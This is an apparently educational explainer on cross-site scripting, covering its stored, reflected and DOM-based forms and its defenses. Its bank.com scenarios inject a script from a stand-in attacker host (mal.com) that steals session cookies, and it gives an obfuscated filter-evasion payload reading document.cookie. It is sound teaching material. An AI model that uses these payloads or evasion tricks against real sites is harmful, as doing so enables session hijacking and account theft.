Cross-site scripting (XSS)
Cross-site scripting (XSS) is a common type of web application vulnerability in which an attacker is able to inject malicious client-side Javascript code into a webpage. Sites with improperly-sanitized user-generated content are particularly vulnerable to such an attack.
These attacks are referred to as "cross-site" because the malicious
script is often loaded from an external site (e.g. <script src="mal.com/script.js"/>
).
Attack Vector
For an XSS attack to be successful, an attacker has to be able to inject malicious javascript into a trusted page. There are three main ways that this can be accomplished:
-
Stored XSS Attack (aka Persistent or Type-I XSS)
-
In which the malicious script is persistently stored on the server (e.g. on a message board or as a username)
-
Reflected XSS Attack (aka Non-Persistent or Type-II XSS)
-
In which the malicious script is present in the request to the server and is "reflected" off of the server (e.g. in an error message).
-
DOM-based XSS (aka Type-0 XSS)
-
In which the malicious script is injected into a DOM element (like the URL) and then evaluated (e.g. via
eval()
or merely being included on the page asinnerHTML
, for example)
Impact
XSS attacks can do anything that client-side Javascript can do: leak session cookies, steal credentials, download files to a user's computer, etc. XSS vulnerabilities have been found in several well-known websites and in some cases led to serious breaches. An XSS vulnerability can be exploited to perform actions on behalf of an authenticated user (e.g. a CSRF attack).
Attack Examples
Example 1- Stored XSS
The website bank.com
has a user message board where users can ask
and answer questions about the bank. Eve makes a benign-looking post
on the message board but adds <script src="mal.com/script.js"/>
to
the end of her post. The file, script.js
is a malicious script which
grabs a user's session cookie and sends it to Eve. The bank's message
board code does not sanitize or escape message board content and
serves Eve's message, including the script
tag, to Alice. Alice's
browser executes the malicious script. Eve, now in possession of
Alice's session cookie, can log in as Alice and has full access to
Alice's account and funds.
Example 2- Reflected XSS
After Alice reports that she lost all her money, the webmaster of
bank.com
realizes that the message board is insecure. The webmaster
adds code to sanitize and escape user messages, removing the message
board XSS vulnerability. However, bank.com
recently got a fancy new
404 page, which displays a message including the URL that caused the
404:
URL:
bank.com/doesntexist
Page:
<p>Sorry, but we don't have a page called doesntexist. Thanks for using Bank.com!</p>
Eve posts a new message to the message board with a hyperlink to
bank.com/<script src="mal.com/script.js"/>
, along with an
innocent-sounding message. Bob clicks on the link to see where it
goes, and gets the fancy 404 page:
<p>Sorry, but we don't have a page called <script src="mal.com/script.js"/>. Thanks for using Bank.com!</p>
Bob's browser executes the malicious script, which sends his session cookie to Eve. Eve now has access to Bob's account.
Historical Attacks
- This vulnerability in Steam chat allowed for remote code execution on a victim's computer via a stored XSS attack. It was worth a $3000 bounty.
- This vulnerability in Uber's website allowed for a reflected XSS attack off of Uber's Law Enforcement portal. It was worth a $7500 bounty.
- This vulnerability in Apache Jira eventually gave attackers root access on Apache servers and leaked Apache customer passwords.
- In December 2006, this paper by Stefano Di Paola and Giorgio Fedon described a DOM-based XSS attack against Adobe's Acrobat PDF plugin.
Defenses
To defend against an XSS attack, a web application must be very careful about inserting user-generated content into HTML, CSS, and Javascript code. Different encodings exist for different contexts (inserting into HTML, inserting into JS, inserting into CSS) which will protect against XSS, but it is important to make sure that these are implemented correctly. For more information about defense against XSS, see this page.
Filtering against XSS attacks is generally insufficient. Because
browsers are so tolerant of malformed HTML/CSS/JS, it is often easy to
evade filters that try to detect <script>
tags, javascript://
links or style attributes like onload
or onmouseover
. For
instance,
jav
script:alert(document.cookie)
is
equivalent to javascript:alert(document.cookie)
but will likely
evade most filters. See this
page
for more information on why filters are not a good solution for XSS
defense.
Criteria for Demonstration
To demonstrate an XSS attack, provide the exact input required for the
attack and where you submitted it (e.g. the URL for a reflected
attack, a form submission for a stored attack, etc.). To demonstrate
that your Javascript payload is being executed, it is sufficient
to have your exploit display a message in the user's browser
(eg. alert("hello")
), which is a good precursor for what could be a
much more sophisticated attack (eg. stealthily modifying the web page
or stealing information). If you would like to take this further, you
can also try to read the user's cookies, or exfiltrate data to a
remote URL.
Other resources
wschor